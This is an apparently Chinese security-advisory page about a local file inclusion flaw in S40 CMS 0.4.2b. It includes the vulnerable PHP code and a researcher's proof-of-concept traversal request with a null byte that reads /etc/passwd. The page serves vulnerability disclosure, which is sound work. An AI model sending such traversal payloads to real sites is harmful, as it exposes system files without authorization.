发布日期：2011-04-07
更新日期：2011-04-07

受影响系统：

S40 CMS S40 CMS 0.4.2b

描述：

---

S40 CMS是自由的内容管理系统。

S40 CMS在安全检查和输入过滤上存在问题导致本地文件包含漏洞，远程攻击者可利用此漏洞通过目录遍历攻击访问任意文件。

<*来源：Giovanni Buzzin
  
  链接：http://www.metasploit.com/modules/auxiliary/scanner/http/s40_traversal
        http://www.osvdb.org/82469
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

[Security Advisory Details: 07/04/2001]

[Script]        S40 CMS 0.4.2 Beta
[Location]      http://s40.biz/?p=download
[Vulnerability] Local File Inclusion
[Original Adv]  http://y-osirys.com/security/exploits/id27
[Author]        Giovanni Buzzin, "Osirys"
[Site]          y-osirys.com
[Contact]       osirys[at]autistici[dot]org


------------------------------------------------------------------------------------------------------------
[CMS Description]

S40 CMS is FREE Content Management System
S40 CMS 0.4 beta is lightwieght flat file CMS written on PHP, suitable for small and medium sites.
S40 is open-source MIT-license CMS developed by AWEN art studio Ltd.
S40 is fast and easy to customize system with build-in installer.


------------------------------------------------------------------------------------------------------------
[Security Flaw]

S40 CMS is prone to Local File Inclusion vulnerability because of poor security checks and bad input
sanitization: GET variables are not properly sanitized before being included via require() PHP function.

[code:index.php]

<?php
ob_start("ob_gzhandler"); // comment this line to disable gzip compression
require "inc/config.php";
require "inc/langs/".$s40[lang] .".php";
if ($s40[installed]){
    require "inc/functions.php";
    checkinstall();
    require page($_GET[p],$_GET[c],$_GET[g],$_GET[gp]);

....

[/code]

Having a quick look at page() function, the security issue is clear: $pid ($_GET['p']), is not sanitized
or passed through a valid regular expression before being returned to require() function of index.php file.

[code:/inc/functions.php:page():line 13]

function page($pid,$cid,$gid,$gp){
    if(!isset($pid)){
        $p = "index";
        return "data/".$p.".page.php";
    }else{
        if (isset($pid) and isset($cid)){
            if(!file_exists("data/".$pid.".child.".$cid.".php")){
                return "data/404.inc";
            }else{
                $p = $pid;
                $c = $cid;
                return "data/".$p.".child.".$c.".php";
            }
        }else{
            if(!file_exists("data/".$pid.".page.php")){
                return "data/404.inc";
            }else{
                $p = $pid;
                return "data/".$p.".page.php";
            }
        }
    }
}
....

[/code]


------------------------------------------------------------------------------------------------------------
[Exploit]

The security issue can be exploited sending a valid path via GET request. Null Byte must be used in
order to exploit this LFI.

PoC : /[cms_path]/?p=[local_file]%00
      /[cms_path]/?p=/../../../../../../../etc/passwd%00


------------------------------------------------------------------------------------------------------------
[Credits]

Credit goes to Giovanni Buzzin, "Osirys"  for the discover of this vulnerability.
(Meglio)


------------------------------------------------------------------------------------------------------------
[END: 07/04/2011]

建议：

---

厂商补丁：

S40 CMS
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://s40.biz/?p=download

浏览次数：2153
严重程度：0（网友投票）